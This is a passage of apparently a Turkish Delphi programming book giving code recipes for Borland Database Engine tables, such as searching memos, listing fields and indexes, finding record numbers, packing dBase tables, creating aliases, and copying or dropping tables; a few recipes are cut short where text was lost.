BuffLen:= DBMemo1.GetTextLen + 1; GetMem(Buff,BuffLen); DBMemo1.GetTextBuf(Buff,BuffLen); P:= Buff + DBMemo1.SelStart + DBMemo1.SelLength; P:= StrPos(P, FT); if P = NIL then MessageBeep(0) else begin DBMemo1.SelStart:= P - Buff; DBMemo1.SelLength:= Length(FindText); end; FreeMem(FT, Length(FindText) + 1); FreeMem(Buff,BuffLen); DBMemo1.SetFocus; end; end; Şekil 1 : Form1 kod örneği 1 : form1.dfm object Form1: TForm1 Left = 200 Top = 108 Width = 696 Height = 445 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] PixelsPerInch = 96 TextHeight = 13 object DBMemo1: TDBMemo Left = 16 Top = 152 Width = 657 Height = 193 DataField = 'Notes' DataSource = DataSource1 TabOrder = 0 OnDblClick = DBMemo1DblClick end object DBGrid1: TDBGrid Left = 16 Top = 16 Width = 657 Height = 120 DataSource = DataSource1 TabOrder = 1 TitleFont.Charset = DEFAULT_CHARSET TitleFont.Color = clWindowText TitleFont.Height = -11 TitleFont.Name = 'MS Sans Serif' TitleFont.Style = [] end object DBNavigator1: TDBNavigator Left = 432 Top = 352 Width = 240 Height = 25 TabOrder = 2
1440
end object DataSource1: TDataSource DataSet = Table1 Left = 138 Top = 364 end object Table1: TTable Active = True DatabaseName = 'dbdemos' TableName = 'BIOLIFE.DB' Left = 220 Top = 366 end object FindDialog1: TFindDialog OnFind = FindDialog1Find Left = 40 Top = 360 end end kod örneği 2 : unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, Grids, DBGrids, Db, DBTables, DBCtrls, ExtCtrls; type TForm1 = class(TForm) DBMemo1: TDBMemo; DataSource1: TDataSource; Table1: TTable; DBGrid1: TDBGrid; FindDialog1: TFindDialog; DBNavigator1: TDBNavigator; procedure FindDialog1Find(Sender: TObject); procedure DBMemo1DblClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure Tform1.FindDialog1Find(Sender: TObject); var Buff, P, FT : PChar; BuffLen : Word; begin With Sender as TFindDialog do begin GetMem(FT, Length(FindText) + 1); StrPCopy(FT, FindText); BuffLen:= DBMemo1.GetTextLen + 1; GetMem(Buff,BuffLen);
1441
DBMemo1.GetTextBuf(Buff,BuffLen); P:= Buff + DBMemo1.SelStart + DBMemo1.SelLength; P:= StrPos(P, FT); if P = NIL then MessageBeep(0) else begin DBMemo1.SelStart:= P - Buff; DBMemo1.SelLength:= Length(FindText); end; FreeMem(FT, Length(FindText) + 1); FreeMem(Buff,BuffLen); DBMemo1.SetFocus; end; end; procedure TForm1.DBMemo1DblClick(Sender: TObject); begin finddialog1.execute; end; end.
BİR TABLONUN ALAN BİLGİLERİNİN ELDE EDİLMESİ Ttable bileşeninden yola çıkarak, bağlı olduğu tablonun alan bilgileri "FieldDefs" özelliği sayesinde elde edilebilir. GetFieldNames davranışı alan isimlerini, GetIndexNames davranışı ise tabloda mevcut olan indeks isimlerini döndürür. Şekil 2 : form1 kod örneği 3 : form1.dfm object Form1: TForm1 Left = 200 Top = 108 Width = 425 Height = 340 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] PixelsPerInch = 96 TextHeight = 13 object Label1: TLabel Left = 16 Top = 136 Width = 43 Height = 13 Caption = 'İndeksler' end object Label2: TLabel Left = 16 Top = 0 Width = 32 Height = 13 Caption = 'Alanlar' end object Label3: TLabel Left = 232 Top = 0 Width = 122
1442
Height = 13 Caption = 'Alan isimleri ve uzunlukları' end object Memo1: TMemo Left = 232 Top = 16 Width = 169 Height = 249 Lines.Strings = ( 'Memo1') TabOrder = 0 end object Button1: TButton Left = 240 Top = 272 Width = 153 Height = 25 Caption = 'Alan isimleri ve uzunlukları' TabOrder = 1 OnClick = Button1Click end object Button2: TButton Left = 16 Top = 272 Width = 201 Height = 25 Caption = 'Alan ve İndeks isimleri ' TabOrder = 2 OnClick = Button2Click end object ListBox1: TListBox Left = 16 Top = 16 Width = 201 Height = 113 ItemHeight = 13 TabOrder = 3 end object ListBox2: TListBox Left = 16 Top = 152 Width = 201 Height = 113 ItemHeight = 13 TabOrder = 4 end object Table1: TTable DatabaseName = 'dbdemos' TableName = 'ANIMALS.DBF' Left = 104 Top = 72 end kod örneği 4 : unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, Db, DBTables; type
1443
TForm1 = class(TForm) Memo1: TMemo; Table1: TTable; Button1: TButton; Button2: TButton; ListBox1: TListBox; ListBox2: TListBox; Label1: TLabel; Label2: TLabel; Label3: TLabel; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } procedure ShowFields; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.ShowFields; var i : Word; begin Memo1.Lines.Clear; Table1.FieldDefs.Update; for i := 0 to Table1.FieldDefs.Count - 1 do With Table1.FieldDefs.Items[i] do Memo1.Lines.Add(Name + ' - ' + IntToStr(Size)); end; procedure TForm1.Button1Click(Sender: TObject); begin showfields; end; procedure TForm1.Button2Click(Sender: TObject); begin If Table1.State = dsInactive then Table1.Open; Table1.GetFieldNames(listbox1.items); Table1.GetIndexNames(listbox2.items); end; end.
TDBGRİD BİLEŞENİ ÜZERİNDE, KAYIT SIRALAMA Eğer bir Interbase tablosu ile çalışılıyor ise, Dbgrid üzerinde seçilen kolon başlığına göre verilerin sıralanması mümkündür. procedure TForm1.DBGrid1CellClick(Column: TColumn); begin if checkbox1.checked then with dbgrid1.datasource.dataset as ttable do indexfieldnames:=column.field.fieldname; end;
1444
MEVCUT TABLODAKİ KOLONLARIN ELENMESİ Bir tablodaki alanların "Visible" özelliğine "False" değeri verilerek, istenmeyen alanların görüntülenmesi engellenir. Table1.FieldByName(
BİR TABLODAKİ TMEMOFİELD TİPLİ BİR ALAN İÇERİĞİNİN TMEMO BİLEŞENİNE AKTARILMASI Procedure TMemoToTMemoField; begin TMemoField.Assign( TMemo.Lines ); end; Procedure TMemoFieldToTMemo; VAR aBlobStream : TBlobStream; Begin aBlobStream := TBlobStream.Create(tblobfield(table1.fieldbyname('Notes')), bmRead); Memo1.Lines.LoadFromStream( aBlobStream ); aBlobStream.Free; end;
BİR PARADOX TABLOSUNA İKİNCİ İNDEKS EKLENMESİ Table1.AddIndex('
DETAYI OLAN BİR TABLODAN KAYIT SİLME Master-Detay ilişki içerisindeki tablolarda, detayı olan bir ana kayıt silindiğinde, detaylar ortada kalır. Ana kayıt olmadığına göre detaylara da ihtiyaç yoktur. Bu nedenle ana kayıt silinmeden önce detayları silmek gerekir. Table1 ana tabloya, Table2 de Detay tabloya bağlı kabul edilirse, Table1' den bir kayıt silinmek istendiğinde önce Table2' deki detaylar temizlenecektir aşağıdaki örnek bunu göstermektedir. procedure TForm1.Table1BeforeDelete(DataSet: TDataset) begin with Table2 do begin DisableControls; First; While not EOF do Delete;
1445
EnableControls; end; end; DBGRİD VE MEMO ALANLAR DBGrid bileşeninde Memo/Blob alanlar
TABLO İÇERİĞİNİN TSTRİNGRİD BİLEŞENİNE DOLDURULMASI Tablo içeriğinin TstrinGrid bileşenine doldurulması şu şekilde olur. table.first; row := 0; grid.rowcount := table.recordCount; while not table.eof do begin for i := 0 to table.fieldCount-1 do grid.cells[i,row] := table.fields[i].asString; inc (row); table.next; end;
TTABLE VEYA TQUERY ÜZERİNDEN KAYIT NUMARASININ BULUNMASI Dataset Paradox veya dBASE tablosuna bağlı ise kayıt numarasını bulmak, birkaç BDE fonksiyon kullanmak suretiyle mümkündür. Ancak SQL tabanlı veri tabanı sunumcularında, sunumcunun kendisi buna imkan vermiyorsa, bu bilgi elde edilemez. Aşağıdaki fonksiyon parametre olarak bir Ttable bileşeni almakta ve gösterdiği Paradox/dBase tablosunudan kayıt numarasını, başarısız olduğunda ise 0 değerini döndürmektedir. Bu fonksiyonun döndürdüğü kayıt numarası, kaydın tablodaki fiziksel yeri ile ilgilidir. İndeks tanımlanmış bir TTable veya "Order by" ile sıraya sokulmuş bir sorgu kümesi döndüren Tquery bileşeninde, hatalı değer döndüğü sanılmamalıdır.
1446
uses DbiProcs, DbiTypes, DBConsts; function Form1.Recno( oTable: TTable ): Longint; var rError: DBIResult; rRecProp: RECprops; szErrMsg: DBIMSG; begin Result := 0; try oTable.UpdateCursorPos; rError := DbiGetRecord( oTable.Handle, dbiNOLOCK, nil, @rRecProp ); if rError = DBIERR_NONE then Result := rRecProp.iPhyRecNum else case rError of DBIERR_BOF: Result := 1; DBIERR_EOF: Result := oTable.RecordCount + 1; else begin DbiGetErrorString( rError, szErrMsg ); ShowMessage( StrPas( szErrMsg )); end; end; except on E: EDBEngineError do ShowMessage( E.Message ); end; end; Şekil 3 : Form1 kod örneği 5 : form1.dfm object Form1: TForm1 Left = 200 Top = 108 Width = 451 Height = 250 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] PixelsPerInch = 96 TextHeight = 13 object Label1: TLabel Left = 112 Top = 16 Width = 32 Height = 13 Caption = 'Label1' end object Label2: TLabel Left = 32 Top = 16 Width = 49 Height = 13 Caption = 'Kayıt No : ' end object DBGrid1: TDBGrid Left = 16
1447
Top = 32 Width = 417 Height = 120 DataSource = DataSource1 TabOrder = 0 TitleFont.Charset = DEFAULT_CHARSET TitleFont.Color = clWindowText TitleFont.Height = -11 TitleFont.Name = 'MS Sans Serif' TitleFont.Style = [] end object DBNavigator1: TDBNavigator Left = 192 Top = 168 Width = 240 Height = 25 DataSource = DataSource1 TabOrder = 1 end object DataSource1: TDataSource DataSet = Table1 Left = 88 Top = 168 end object Table1: TTable Active = True AfterScroll = Table1AfterScroll DatabaseName = 'dbdemos' TableName = 'ANIMALS.DBF' Left = 16 Top = 168 end end kod örneği 6 : unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, ExtCtrls, DBCtrls, Grids, DBGrids, Db, DBTables; type TForm1 = class(TForm) DataSource1: TDataSource; DBGrid1: TDBGrid; DBNavigator1: TDBNavigator; Label1: TLabel; Label2: TLabel; Table1: TTable; function Recno( oTable: Ttable): Longint; procedure Table1AfterScroll(DataSet: TDataSet); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses
1448
DbiProcs, DbiTypes, DBConsts; {$R *.DFM} function TForm1.Recno( oTable: Ttable): Longint; var rError: DBIResult; rRecProp: RECprops; szErrMsg: DBIMSG; begin Result := 0; try oTable.UpdateCursorPos; rError := DbiGetRecord( oTable.Handle, dbiNOLOCK, nil, @rRecProp ); if rError = DBIERR_NONE then Result := rRecProp.iPhyRecNum else case rError of DBIERR_BOF: Result := 1; DBIERR_EOF: Result := oTable.RecordCount + 1; else begin DbiGetErrorString( rError, szErrMsg ); ShowMessage( StrPas( szErrMsg )); end; end; except on E: EDBEngineError do ShowMessage( E.Message ); end; end; procedure TForm1.Table1AfterScroll(DataSet: TDataSet); begin label1.caption:=inttostr(recno(table1)); end; end.
DBASE TABLOLARINDAN SİLİNMİŞ KAYITLARIN ATILMASI Bu işlem için DBIPackTable. İsimli BDE fonksiyonu kullanılır. Örnek kod şu şekildedir. uses DbiProcs, DbiTypes, DBConsts; procedure TForm1.Button1Click(Sender: TObject); var Error: DbiResult; ErrorMsg: String; Special: DBIMSG; begin table1.Active := False; try Table1.Exclusive := True; Table1.Active := True; Error := DbiPackTable(Table1.DBHandle, Table1.Handle, nil, szdBASE, True); Table1.Active := False; Table1.Exclusive := False;
1449
finally Table1.Active := True; end; case Error of DBIERR_NONE: ErrorMsg := 'Tamam'; DBIERR_INVALIDPARAM: ErrorMsg := 'Tablo belirsiz' + 'name is NULL'; DBIERR_INVALIDHNDL: ErrorMsg := 'Veri tabanı belirsiz'; DBIERR_NOSUCHTABLE: ErrorMsg := 'Tablo adı belirsiz'; DBIERR_UNKNOWNTBLTYPE: ErrorMsg := 'Tablo tipi belirsiz'; DBIERR_NEEDEXCLACCESS: ErrorMsg := 'Tablo exclusive modda değil'; else DbiGetErrorString(Error, Special); ErrorMsg := '[' + IntToStr(Error) + ']: ' + Special; end; MessageDlg(ErrorMsg, mtWarning, [mbOk], 0); end;
UYGULAMA İÇERİSİNDEN BDE KOD ADI (ALİAS) YARATILMASI procedure createalias(aliasname, servername, servertype, filename:string); var List: TStringList; lang, user, pdox : string; begin lang:='ANTURK'; user:='SYSDBA'; pdox:='PARADOX'; List := TStringList.Create; with List do begin Clear; if servertype='INTRBASE' then begin Add(Format('SERVER NAME=%s',[filename])); Add(Format('LANGDRIVER=%s',[lang])); Add(Format('USER NAME=%s',[user])); end; if servertype='STANDART' then begin Add(Format('DEFAULT DRIVER=%s',[pdox])); Add(Format('PATH=%s',[filename])); end; end; if session.isalias(aliasname) then Session.ModifyAlias(aliasname, List) else Session.addAlias(aliasname,servertype, List); Session.SaveConfigFile; List.Free;
1450
end;
BDE KOD ADI (ALİAS) PARAMETRELERİNİN ELDE EDİLMESİ Session.GetAliasParams('DBDEMOS',listbox1.items);
BİR DBASE (.DBF) TABLOSUNDAKİ SİLİNMİŞ KAYITLARIN GÖRÜNTÜLENMESİ dBase tablolarındaki silinmiş kayıtların görünür hale getirilmesi için DBISetProp fonksiyonu kullanılır. procedure SetDelete(oTable:TTable; Value: Boolean); var rslt: DBIResult; szErrMsg: DBIMSG; begin try oTable.DisableControls; try rslt := DbiSetProp(hDBIObj(oTable.Handle), curSOFTDELETEON, LongInt(Value)); if rslt <> DBIERR_NONE then begin DbiGetErrorString(rslt, szErrMsg); raise Exception.Create(StrPas(szErrMsg)); end; except on E: EDBEngineError do ShowMessage(E.Message); on E: Exception do ShowMessage(E.Message); end; finally oTable.Refresh; oTable.EnableControls; end; end;
Şekil 4 : Örnek uygulama form yapısı kod örneği 7: Form1.dfm object Form1: TForm1 Left = 200 Top = 108 Width = 559 Height = 293 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] PixelsPerInch = 96 TextHeight = 13 object DBGrid1: TDBGrid Left = 8
1451
Top = 8 Width = 409 Height = 177 DataSource = DataSource1 TabOrder = 0 TitleFont.Charset = DEFAULT_CHARSET TitleFont.Color = clWindowText TitleFont.Height = -11 TitleFont.Name = 'MS Sans Serif' TitleFont.Style = [] end object DBNavigator1: TDBNavigator Left = 8 Top = 200 Width = 240 Height = 25 DataSource = DataSource1 TabOrder = 1 end object Button1: TButton Left = 432 Top = 8 Width = 113 Height = 25 Caption = 'Silinenleri göster' TabOrder = 2 OnClick = Button1Click end object Button2: TButton Left = 432 Top = 40 Width = 113 Height = 25 Caption = 'Silinenleri sakla' TabOrder = 3 OnClick = Button2Click end object Table1: TTable Active = True DatabaseName = 'dbdemos' TableName = 'ANIMALS.DBF' Left = 440 Top = 80 end object DataSource1: TDataSource DataSet = Table1 Left = 488 Top = 80 end end kod örneği 8 : unit1.pas unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, DBCtrls, Grids, DBGrids, Db, DBTables; type
1452
TForm1 = class(TForm) Table1: TTable; DataSource1: TDataSource; DBGrid1: TDBGrid; DBNavigator1: TDBNavigator; Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses DbiProcs, DbiTypes, DBConsts; {$R *.DFM} procedure SetDelete(oTable:TTable; Value: Boolean); var rslt: DBIResult; szErrMsg: DBIMSG; begin try oTable.DisableControls; try rslt := DbiSetProp(hDBIObj(oTable.Handle), curSOFTDELETEON, LongInt(Value)); if rslt <> DBIERR_NONE then begin DbiGetErrorString(rslt, szErrMsg); raise Exception.Create(StrPas(szErrMsg)); end; except on E: EDBEngineError do ShowMessage(E.Message); on E: Exception do ShowMessage(E.Message); end; finally oTable.Refresh; oTable.EnableControls; end; end; procedure TForm1.Button1Click(Sender: TObject); begin SetDelete(Table1, TRUE); end; procedure TForm1.Button2Click(Sender: TObject); begin SetDelete(Table1, False); end; end.
1453
BİR TABLODAKİ ALAN SAYISININ BULUNMASI Ttable bileşenini kullanarak, bir tablodaki alan sayısının bulunması için TableX.fieldcount Özelliğinden faydalanılabilir. Ancak tablo alanlarının bir kısmı, ttable bileşeni üzerine yüklenmişse fieldcount özelliği sadece yüklenen alan sayısını getirir. Alanları ttable üzerine kısmen yüklenmiş olan bir tablonun, gerçek alan sayısının bulunabilmesi için, aşağıdaki fonksiyon kullanılabilir. Bu kodun kullanılabilmesi için, form üzerine yerleştirileni ttable bileşenine, bağlandığı tablo alanlarının bir kısmı yüklenmelidir. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Db, DBTables, DbiErrs, DbiTypes, DbiProcs ,bde; type TForm1 = class(TForm) { Alanlar yüklendiğinde, tanımları buraya yerleşecektir. } Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} function GetFieldCount(T: TTable): Integer; var curProp: CURProps; bWasOpen: Boolean; begin Result := 0; {Just in case something goes wrong.} bWasOpen := T.Active; try if not bWasOpen then T.Open; Check(DbiGetCursorProps(T.Handle, curProp)); Result := curProp.iFields; finally if not bWasOpen then T.Close; end; end; procedure TForm1.Button1Click(Sender: TObject); begin showmessage(inttostr(table1.fieldcount));
1454
showmessage(inttostr(GetFieldCount(table1))); end; end.
BİR TABLODAKİ VERİNİN, BAŞKA BİR TABLOYA EKLENMESİ Aynı yapıdaki iki ayrı tablo muhteviyatının, birleştirilmesi için kullanılabilecek olan bu fonksiyon,
SORGUDAN TABLO YARATILMASI Karmaşık sorgular sonucunda toplanan veriler, bu fonksiyon yardımıyla yaratılan bir tablo içerisine doldurulabilir. Function DBCreateTableFromQuery( Query: TQuery; NewTableName, TableDatabaseName: String): Boolean; var D : TTable; ActiveWas : Boolean; begin D := nil; try {The Source Table} ActiveWas := Query.Active; Query.Active := true; D := TTable.Create(nil);
1455
D.Active := False; D.DatabaseName := TableDatabaseName; D.TableName := NewTableName; D.ReadOnly := False; D.BatchMove(Query,batCopy); Query.Active := ActiveWas; Result := True; finally D.Free; end; End;
SORGUDAN TABLOYA VERİ AKTARIMI Bir sorgu neticesinde elde edilen veriler, bu fonksiyon kullanılarak, mevcut bir tabloya aktarılabilir. Procedure DBAddQueryToTable( DataSet : TQuery; const DestDatabaseName, DestinationTable: string); var DTable : TTable; BMove : TBatchMove; begin DTable := TTable.Create(nil); BMove := TBatchMove.Create(nil); Try DataSet.Active := True; DTable.DatabaseName := DestDatabaseName; DTable.TableName := DestinationTable; DTable.Active := True; BMove.AbortOnKeyViol := False; BMove.AbortOnProblem := False; BMove.ChangedTableName := 'CTable'; BMove.Destination := DTable; BMove.KeyViolTableName := 'KTable'; BMove.Mode := batAppend; BMove.ProblemTableName := 'PTable'; BMove.Source := DataSet; BMove.Execute; Finally DTable.Active := False; DTable.Free; BMove.Free; End; End;
TABLODAKİ BİR ALANA AİT VERİLERİN, BAŞKA BİR ALANA KOPYALANMASI Bir tabloda bulunan alanlardan bir içerisinde bulunan veriler, başka bir alana kopyalanacağı zaman, aşağıdaki fonksiyon kullanılabilir. function DBCopyFieldAToB( DatabaseName, TableName, SourceField, DestField: String): Boolean; var Query : TQuery; CursorWas : TCursor;
1456
Sess : TSession; begin CursorWas := Screen.Cursor; Sess := DBSessionCreateNew; Sess.Active := True; Query := TQuery.Create(sess); Query.SessionName := Sess.SessionName; Sess.Active := True; Query.Active := False; Query.RequestLive := True; try Result := False; Query.DatabaseName := DatabaseName; Query.SQL.Clear; Query.SQL.Add('Select '); Query.SQL.Add(SourceField+','); Query.SQL.Add(DestField); Query.SQL.Add('From '+TableName); Query.Open; Query.First; While Not Query.EOF Do Begin ProgressScreenCursor; Try Query.Edit; Query.FieldByName(DestField).AsString := Query.FieldByName(SourceField).AsString; Query.Post; Except End; Query.Next; End; Result := True; finally Query.Free; Screen.Cursor := CursorWas; Sess.Active := False; end; end;
TABLO KOPYALAMA Bir tablo olduğu gibi , başka bir veri tabanına veya aynı veri tabanına kopyalanabilir.
1457
IndexFields : String; IndexFields2 : String; Q : TQuery; IDXO : TIndexOptions; Begin S := TTable.Create(nil); D := TTable.Create(nil); Try Try S.Active := False; S.DatabaseName := SourceDatabaseName; S.TableName := SourceTableName; S.TableType := ttDefault; S.Active := True; D.DatabaseName := DestDatabaseName; D.TableName := DestTableName; D.TableType := ttDefault; D.FieldDefs.Assign(S.FieldDefs); D.CreateTable; {Similar method could be used to create the indices} {D.IndexDefs.Assign(S.IndexDefs);} S.IndexDefs.Update; D.IndexDefs.Update; D.IndexDefs.Clear; D.IndexDefs.Update; For i := 0 To S.IndexDefs.Count - 1 Do Begin If Pos('.DB',UpperCase(DestTableName)) > 0 Then Begin {Paradox or DBase Tables} If S.IndexDefs.Items[i].Name = '' Then Begin If Pos('.DB',UpperCase(DestTableName)) = 0 Then Begin IndexName := DestTableName+IntToStr(i); End Else Begin IndexName := ''; End; End Else Begin IndexName := DestTableName+IntToStr(i); End; IndexFields := S.IndexDefs.Items[i].Fields; D.AddIndex(IndexName,IndexFields, S.IndexDefs.Items[i].Options); D.IndexDefs.Update; End Else Begin {Non Local Tables} Q := TQuery.Create(nil); Try S.IndexDefs.Update; D.IndexDefs.Update; D.IndexDefs.Clear; D.IndexDefs.Update; IMax := S.IndexDefs.Count - 1; For j := 0 To IMax Do Begin
1458
Q. Active := False; Q.DatabaseName := DestDatabaseName; IndexName := DestTableName+IntToStr(i); IndexFields := S.IndexDefs.Items[i].Fields; IndexFields2 := ReplaceCharInString(IndexFields,';',','); Q.SQL.Clear; Q.SQL.Add('Create'); If ixUnique in S. IndexDefs.Items[j].Options Then Begin Q.SQL.Add('Unique'); End; If ixDescending in S.IndexDefs.Items[j].Options Then Begin Q.SQL.Add('Desc'); End Else Begin Q.SQL.Add('Asc'); End; Q.SQL.Add('Index'); Q.SQL.Add(IndexName); Q.SQL.Add('On'); Q.SQL.Add(DestTableName); Q.SQL.Add('('); Q.SQL.Add(IndexFields2); Q.SQL.Add(')'); Try Q.ExecSql; D.IndexDefs.Update; D.AddIndex(IndexName,IndexFields, S.IndexDefs.Items[j].Options); D.IndexDefs.Update; Except On E : EDBEngineError Do Begin If E.Message = 'Invalid array of index descriptors.' Then Begin Try D.IndexDefs.Update; D.DeleteIndex(IndexName); D.IndexDefs.Update; Except End; End Else Begin Try D.IndexDefs.Update; IDXO := D.IndexDefs.Items[j].Options; Except End; End; End; End; End; //i:= IMax; Finally Q.Free; End; End;
1459
End; S.Active := False; Result := True; Finally S.Free; D.Free; End; Except On E : Exception Do Begin ShowMessage('DBCreateTableBorrowStr Error: '+E.Message); Result := False; End; End; End;
TABLO SİLME Herhangi bir veri tabanından tablo silmek gerektiğinde, aşağıdaki fonksiyon kullanılabilir. Function DBDropTable(const DatabaseName, TableName : string):Boolean; var Query : TQuery; begin Result := False; If Not IsTable(DatabaseName, TableName) Then Begin Exit; End; Query := TQuery.Create(nil); try Query.DatabaseName := DatabaseName; Query.SQL.Clear; Query.SQL.Add('Drop Table '); If (Pos('.DB', UpperCase(TableName)) > 0) Or (Pos('.DBF',UpperCase(TableName)) > 0) Then Begin Query.Sql.Add('"'+TableName+'"'); End Else Begin Query.Sql.Add(TableName); End; Result := True; Try Query.ExecSQL; Except Result := False; End; finally Query.Free; end; end;
ALAN ADININ BULUNMASI Sıra numarası verilen bir tablo alanının alan adı bu fonksiyonla alınabilir. Function DBFieldNameByNo( DatabaseName : String;
1460
TableName : String; FieldNo : Integer): String; Var Table : TTable; Begin Result := ''; If Not IsTable(DatabaseName, TableName) Then Exit; If FieldNo < 0 Then Exit; If FieldNo >= DBNFields(DatabaseName, TableName) Then Exit; Table := TTable.Create(nil); Try Try Table.Active := False; Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; Result := Table.FieldDefs[FieldNo].Name; Except End; Finally Table.Free; End; End;
ORTAK ALAN İSİMLERİ Bu fonksiyonda, her iki tabloda da mevcut olan alan isimleri, aralarına konan virgüllerle ayrılmış olarak dönerler. Function DBFieldNamesCommonToString( DatabaseName1 : String; TableName1 : String; DatabaseName2 : String; TableName2 : String): String; Var List1 : TStringList; List2 : TStringList; i : Integer; Suffix: String; Begin Result := ''; List1 := TStringList.Create(); List2 := TStringList.Create(); Try DBFieldNamesToTStrings( DatabaseName1, TableName1, List1); For i := 0 To List1.Count - 1 Do Begin List1[i] := UpperCase(List1[i]); End; DBFieldNamesToTStrings( DatabaseName2, TableName2, List2); For i := 0 To List2.Count - 1 Do Begin List2[i] := UpperCase(List2[i]); End; For i := 0 To List1.Count - 1 Do Begin If Result = '' Then
1461
Begin Suffix := ''; End Else Begin Suffix := ', '; End; If List2.IndexOf(List1[i]) <> -1 Then Begin Result := Result + Suffix + List1[i]; End; End; Finally List1.Free; List2.Free; End; End;
TABLODAKİ ALAN İSİMLERİ Bu fonksiyon, tablodaki alanlara ait isimleri, bir Tstrings nesnesi içerisine doldurur. Function DBFieldNamesToTStrings( DatabaseName : String; TableName : String; Strings : TStrings): Boolean; Var Table : TTable; FieldNo : Integer; Begin Result := False; If Not IsTable(DatabaseName, TableName) Then Exit; Table := TTable.Create(nil); Try Try Table.Active := False; Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; Strings.Clear; For FieldNo := 0 To Table.FieldDefs.Count -1 Do Begin Strings.Add(Table.FieldDefs[FieldNo].Name); End; Result := True; Except End; Finally Table.Free; End; End;
ALAN NUMARASI Bu fonksiyon, adı bilinen bir alanın, tablo içerisindeki sırasını bulur. Function DBFieldNo(DatabaseName, TableName, FieldName: String): Integer; Var Table : TTable; FieldIndex : Integer; FieldNumber: Integer; Begin Result := -1;
1462
If Not IsTable(DatabaseName, TableName) Then Exit; If Not IsField(DatabaseName, TableName, FieldName) Then Exit; Table := TTable.Create(nil); Try Try Table.Active := False; Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; FieldIndex := Table.FieldDefs.IndexOf(FieldName); FieldNumber := Table.FieldDefs[FieldIndex].FieldNo; Result := FieldNumber; Except End; Finally Table.Free; End; End;
ALAN UZUNLUĞU Tablo içerisindeki bir alanın, uzunluğu, bu fonksiyon ile bulunur. Function DBFieldSize(DatabaseName, TableName, FieldName: String): Integer; Var Table : TTable; FieldIndex : Integer; FieldSize : Integer; Begin Result := 0; If Not IsTable(DatabaseName, TableName) Then Exit; If Not IsField(DatabaseName, TableName, FieldName) Then Exit; Table := TTable.Create(nil); Try Try Table.Active := False; Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; FieldIndex := Table.FieldDefs.IndexOf(FieldName); FieldSize := Table.FieldDefs[FieldIndex].Size; Result := FieldSize; Except End; Finally Table.Free; End; End;
ALAN TİPLERİ Adı bilinen bir alanın tipini bulmak için aşağıdaki fonksiyon kullanılabilir. Function TypeField(DatabaseName, TableName, FieldName: String): String; Var
1463
Table : TTable; FieldIndex : Integer; FieldType : TFieldType; Begin Result := ''; If Not IsTable(DatabaseName, TableName) Then Exit; If Not IsField(DatabaseName, TableName, FieldName) Then Exit; Table := TTable.Create(nil); Try Try Table.Active := False; Table.DatabaseName := DatabaseName; Table.TableName := TableName; Table.Active := True; FieldIndex := Table.FieldDefs.IndexOf(FieldName); FieldType := Table.FieldDefs[FieldIndex].DataType; If FieldType=ftUnknown Then Result := 'Unknown'; If FieldType=ftString Then Result := 'String'; If FieldType=ftSmallInt Then Result := 'SmallInt'; If FieldType=ftInteger Then Result := 'Integer'; If FieldType=ftWord Then Result := 'Word'; If FieldType=ftBoolean Then Result := 'Boolean'; If FieldType=ftFloat Then Result := 'Float'; If FieldType=ftCurrency Then Result := 'Currency'; If FieldType=ftBCD Then Result := 'BCD'; If FieldType=ftDate Then Result := 'Date'; If FieldType=ftTime Then Result := 'Time'; If FieldType=ftDateTime Then Result := 'DateTime'; If FieldType=ftBytes Then Result := 'Bytes'; If FieldType=ftVarBytes Then Result := 'VarBytes'; If FieldType=ftBlob Then Result := 'Blob'; If FieldType=ftMemo Then Result := 'Memo'; If FieldType=ftGraphic Then Result := 'Graphic'; {$IFDEF WIN32} If FieldType=ftAutoInc Then Result := 'AutoInc'; If FieldType=ftFmtMemo Then Result := 'FmtMemo'; If FieldType=ftParadoxOle Then Result := 'ParadoxOle'; If FieldType=ftDBaseOle Then Result := 'DBaseOle'; If FieldType=ftTypedBinary Then Result := 'TypedBinary'; {$ENDIF} Except End; Finally Table.Free; End; End; Yukarıdaki fonksiyon ile aynı işleve sahip bir fonksiyondur. Fakat fonksiyona alan adı değil, sıra numarası verilir. Function DBFieldTypeByNo(DatabaseName, TableName: String; FieldNo: Integer): String; Var Table : TTable; FieldIndex : Integer; FieldType : TFieldType; Begin
1464
